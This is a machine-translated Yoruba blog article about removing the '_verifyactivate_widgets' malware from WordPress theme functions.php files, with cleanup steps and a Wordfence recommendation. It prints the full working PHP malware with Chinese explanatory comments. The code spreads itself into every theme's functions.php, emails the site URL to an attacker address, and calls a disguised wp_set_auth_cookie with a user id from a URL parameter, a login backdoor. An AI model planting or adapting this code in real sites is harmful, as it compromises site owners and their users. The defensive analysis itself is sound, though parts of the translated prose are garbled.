Bawo ni awọn akori Wodupiresi ṣe nu koodu irira _verifyactivate_widgets

laipẹChen WeiliangLọwọlọwọ liloOhun itanna Aabo Wordfence ṣe ayẹwo awọn oju opo wẹẹbu fun koodu iriraLẹhinna, o ti riWordPressNinu faili function.php akori naa, koodu ọlọjẹ irira ti wa ni pamọ.

Koodu irira ni akori WordPress.php faili

Ibi ti o ṣeese julọ fun “koodu irira” ni Wodupiresi jẹ function.php ninu itọsọna akori, nigbagbogbo ti o farapamọ ni opin faili function.php.

akọkọ isoro:Awọn koodu irira yoo rii boya gbogbo awọn koko-ọrọ labẹ bulọọgi lọwọlọwọ ni o ni akoran ni gbogbo igba ti ẹnikan ba ṣabẹwo si oju-iwe bulọọgi rẹ, ati bi ko ba ṣe bẹ, wọn yoo ni akoran papọ.

Lẹhin iyẹn, nigbati iṣẹ ibẹrẹ ti wp ba ti ṣiṣẹ, yoo ṣayẹwo boya bulọọgi ti isiyi ti fi imeeli ranṣẹ si apoti ifiweranṣẹ livethemas@Gmail. com

Bawo ni o ṣe mọ boya o ti firanṣẹ?

• Ninu tabili wp_options rẹ faili kan wa ti a pe_is_widget_active_aṣayan, ti o ba ti firanṣẹ ni aṣeyọri, ṣeto iye rẹ si 1;
• Ti kii ba ṣe bẹ, lo URL oju-ile ti bulọọgi ti o ni akoran lọwọlọwọ bi akọle ati akoonu.
• Iyẹn ni, ko si awọn ohun buburu miiran lati ṣe.

Koodu ọlọjẹ irira jẹ atẹle (awọn iyatọ le wa, ṣugbọn koodu ipilẹ jẹ kanna):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

Kini koodu irira ti akori WordPress?

Ti wíwo pẹlu ohun itanna Aabo Wordfence pinnu pe faili function.php rẹ ti ni ifọwọyi, o nilo lati ṣayẹwo, fun apẹẹrẹ:

1. _verifyactivate_widgets
2. iṣẹ _checkactive_widgets
3. iṣẹ _get_allwidgets_cont
4. iṣẹ stripos
5. iṣẹ stripos
6. scandir iṣẹ
7. iṣẹ _getprepare_widget
8. iṣẹ __popular_posts
9. add_action ("admin_head", "_checkactive_widgets");
10. add_action ("init", "_getprepare_widget");
11. _verify_isactivate_widgets
12. _check_isactive_widget
13. _gba_allwidgetscont
14. _ṣetan_awọn ẹrọ ailorukọ
15. __gbajumo_posts

• Laini kọọkan jẹ ominira, ti o ba ni koodu ti o wa loke ninu awọn iṣẹ rẹ.php lẹhinna o le lu.
• Lara wọn, awọn iṣẹ ati add_action jẹ koodu gbogbogbo ti “koodu irira” ti o jẹ ti “awọn iṣẹ igbaradi”.

Bii o ṣe le yọ iṣẹ-ṣiṣe WordPress theme.php koodu ọlọjẹ irira kuro?

O tun rọrun pupọ lati sọ di mimọ, o kan wa koodu ti o jọra si eyi ti o wa loke ni faili function.php ti akori WordPress ki o paarẹ, ṣugbọn nitori ni kete ti o ni akoran, gbogbo awọn akori ninu itọsọna akori akori rẹ yoo ni akoran, nitorinaa nikan ni lọwọlọwọ Akori ti a lo ko wulo ati pe yoo ṣe ipilẹṣẹ laipẹ lẹhin imukuro.

Ojutu ni lati yọ koodu ọlọjẹ irira ti akori wodupiresi kan, ṣeto faili awọn iṣẹ.php si awọn igbanilaaye 444, ati lẹhinna nu awọn akori Wodupiresi miiran.

Fun boya igbanilaaye 444 ti faili iṣẹ kẹhin nilo lati yipada pada, awọn eniyan daba pe 444 jẹ ailewu ailewu ati pe o le yipada nigbati o jẹ dandan.

Awọn akọsilẹ lori lilo ohun itanna Aabo Wordfence

A ṣeduro ohun itanna Wodupiresi nipasẹ Aabo Wordfence, ohun itanna aabo Wodupiresi pẹlu ogiriina ti a ṣepọ ati ọlọjẹ malware, ti a ṣe ati ṣetọju nipasẹ ẹgbẹ nla ti o jẹ 100% lojutu lori aabo Wodupiresi.

Botilẹjẹpe awọn modulu isanwo wa, a le lo module ọfẹ “Ṣawari” lati ṣe ọlọjẹ aaye Wodupiresi wa fun awọn faili PHP ti o ni “koodu irira”, botilẹjẹpe oṣuwọn rere eke kan wa (paapaa diẹ ninu awọn afikun tootọ, paati fifi ẹnọ kọ nkan naa yoo dina. nipa eke positives), ṣugbọn wiwa "irira koodu" ni pato siwaju sii iṣẹ pẹlu kere akitiyan.

O yẹ ki o ṣe akiyesi pe plug-in yii ko ṣe iṣeduro lati wa ni titan nigbagbogbo, nitori ogiriina rẹ ati aabo aabo yoo fa titẹ fifuye kan lori ibi ipamọ data ati ni ipa lori iṣẹ ti oju opo wẹẹbu naa.

Ni deede, awọn afikun ni a mu ṣiṣẹ lati ṣiṣẹ awọn iwoye “ọlọjẹ” nigbati o nilo.

Pa plug-in naa lẹhin ti iwadii ti pari, ni ọran ti pajawiri.